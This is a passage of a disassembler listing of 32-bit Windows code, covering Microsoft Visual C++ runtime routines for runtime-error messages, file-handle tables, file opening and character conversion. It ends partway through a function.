		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2630A17h
		push	eax
		call	near ptr 2700000h
		nop

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2630000h
		nop

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2630000h
		nop

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2620851h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2690CE2h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2710A4Eh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 26302A7h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 26708E6h
		nop

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2690CE2h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 26104B5h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 26104B5h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2821017h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
